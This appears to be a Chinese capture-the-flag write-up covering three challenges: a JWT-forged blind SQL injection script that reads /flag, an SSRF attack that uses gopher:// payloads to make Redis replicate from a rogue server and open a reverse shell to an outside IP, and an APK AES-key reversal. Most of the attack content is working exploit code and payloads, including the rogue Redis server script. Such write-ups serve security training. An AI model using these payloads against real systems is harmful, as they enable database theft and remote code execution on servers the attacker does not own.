查看JS,在JS中找到p14.php,直接copy下来console执行,输入战队的token就可以了
js_on
顺手输入一个 admin admin,看到下面的信息
欢迎admin
这里是你的信息:key:xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6
第一步想的是二次注入,但是一直被嘲讽,出题人素质有待加强,然后重新捋一遍思路,是不是命令注入,稍微测试了一下,感觉不对路,重新回过头,提示的这个key很明显是 jwt 的key,然后猜测二次注入的部分是不是在token部分,结果二次注入没发现,倒是发现在 token处存在布尔注入,如果为真 news会返回你输入的内容,如果为假,则返回 ???no message
脚本
# coding=utf-8 import jwt import requests import re requests.packages.urllib3.disable_warnings() key = "xRt*YMDqyCCxYxi9a@LgcGpnmM2X8i&6" url = "http://84f801d8da46417d9747f9bb2f8187b963c126676ca644fd.cloudgame1.ichunqiu.com/index.php" proxies = {"http":"http://127.0.0.1:8080","https":"http://127.0.0.1:8080"} # info = jwt.decode("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJuZXdzIjoia2V5OnhSdCpZTURxeUNDeFl4aTlhQExnY0dwbm1NMlg4aSY2In0.EpNdctJ5Knu4ZkRcatsyMOxas1QgomB0Z49qb7_eoVg",key,algorithms=['HS256']) # if info: # print(info) # payloadTmpl = "i'/**/or/**/ascii(mid(database(),{},1))>{}#" # payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(sc<a>hema_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.S<a>CHEMATA),{},1))>{}#" # payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(ta<a>ble_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.t<a>ables/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#" # payloadTmpl = "i'/**/or/**/ascii(mid((s<a>elect/**/g<a>roup_con<a>cat(col<a>umn_name)/**/fr<a>om/**/info<a>rmation_sc<a>hema.c<a>olumns/**/wher<a>e/**/ta<a>ble_s<a>chema=dat<a>abase()),{},1))>{}#" payloadTmpl = "i'/**/or/**/ascii(mid((se<a>lect/**/lo<a>ad_fi<a>le('/fl<a>ag')),{},1))>{}#" def half_interval(): result = "" for i in range(1,45): min = 32 max = 127 while abs(max-min) > 1: mid = (min + max)//2 payload = payloadTmpl.format(i,mid) jwttoken = { "user": payload, "news": "success" } payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii") # print(payload) cookies = dict(token=str(payload)) res = requests.get(url,cookies=cookies,proxies=proxies) if re.findall("success", res.text) != []: min = mid else: max = mid result += chr(max) print(result) if __name__ == "__main__": half_interval() # payload = payloadTmpl.format(1,32) # jwttoken = { # "user": payload, # "news": "success" # } # print(jwttoken) # payload = jwt.encode(jwttoken, key, algorithm='HS256').decode("ascii") # print(payload) # cookies = dict(token=str(payload)) # res = requests.get(url,cookies=cookies,proxies=proxies) # res.encoding='utf-8' # print(res.text)
ssrfme
刚拿到题目,想起来跟 SECCON 的题目很像,直接DNS重绑定绕过第一步
获取到hint的源码,提示ssrf 打 redis,直接写contrab在save的时候提示没权限,写shell不知道路径
一直主从复制也没成功
很坑,没权限
后来检查一下发现目录不对,转移到有权限的/tmp 下面
gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dir%2520/tmp/%250d%250aquit
然后重复主从的步骤,在自己的VPS上起好了 rogue 服务器
gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250aconfig%2520set%2520dbfilename%2520exp.so%250d%250aslaveof%252039.107.68.253%252060001%250d%250aquit
服务器监听
gopher://ctf.m0te.top:6379/_auth%2520welcometowangdingbeissrfme6379%250d%250amodule%2520load%2520/tmp/exp.so%250d%250asystem.rev%252039.107.68.253%252060003%250d%250aquit
rogue.py
import socket import time CRLF="\r\n" payload=open("exp.so","rb").read() exp_filename="exp.so" def redis_format(arr): global CRLF global payload redis_arr=arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len(x))+CRLF+x cmd+=CRLF return cmd def redis_connect(rhost,rport): sock=socket.socket() sock.connect((rhost,rport)) return sock def send(sock,cmd): sock.send(redis_format(cmd)) print(sock.recv(1024).decode("utf-8")) def interact_shell(sock): flag=True try: while flag: shell=raw_input("\033[1;32;40m[*]\033[0m ") shell=shell.replace(" ","${IFS}") if shell=="exit" or shell=="quit": flag=False else: send(sock,"system.exec {}".format(shell)) except KeyboardInterrupt: return def RogueServer(lport): global CRLF global payload flag=True result="" sock=socket.socket() sock.bind(("0.0.0.0",lport)) sock.listen(10) clientSock, address = sock.accept() while flag: data = clientSock.recv(1024) if "PING" in data: result="+PONG"+CRLF clientSock.send(result) flag=True elif "REPLCONF" in data: result="+OK"+CRLF clientSock.send(result) flag=True elif "PSYNC" in data or "SYNC" in data: result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF result += "$" + str(len(payload)) + CRLF result = result.encode() result += payload result += CRLF clientSock.send(result) flag=False if __name__=="__main__": lhost="xxx.xxx.xxx.xxx" lport=60001
java
用 jadx 对 java.apk 反汇编
主程序逻辑并不复杂,正常的输入,以及将输入进行计算后比对
先对用户输入进行 AES 加密 ,Key 为 aes_check_key!@#,然后进行两次异或,最后 base64 编码
与 VsBDJCvuhD65/+sL+Hlf587nWuIa2MPcqZaq7GMVWI0Vx8l9R42PXWbhCRftoFB3进行比较
所以 crack 过程也很简单,逆回来就得到输入,但是中间卡在密钥并不是直接给的密钥,还对密钥里 'e' 和 'o'进行了替换,最终密钥为 aos_chock_koy!@#,逆回去得到flag
实验推荐==SSRF漏洞进阶实践-攻击内网Redis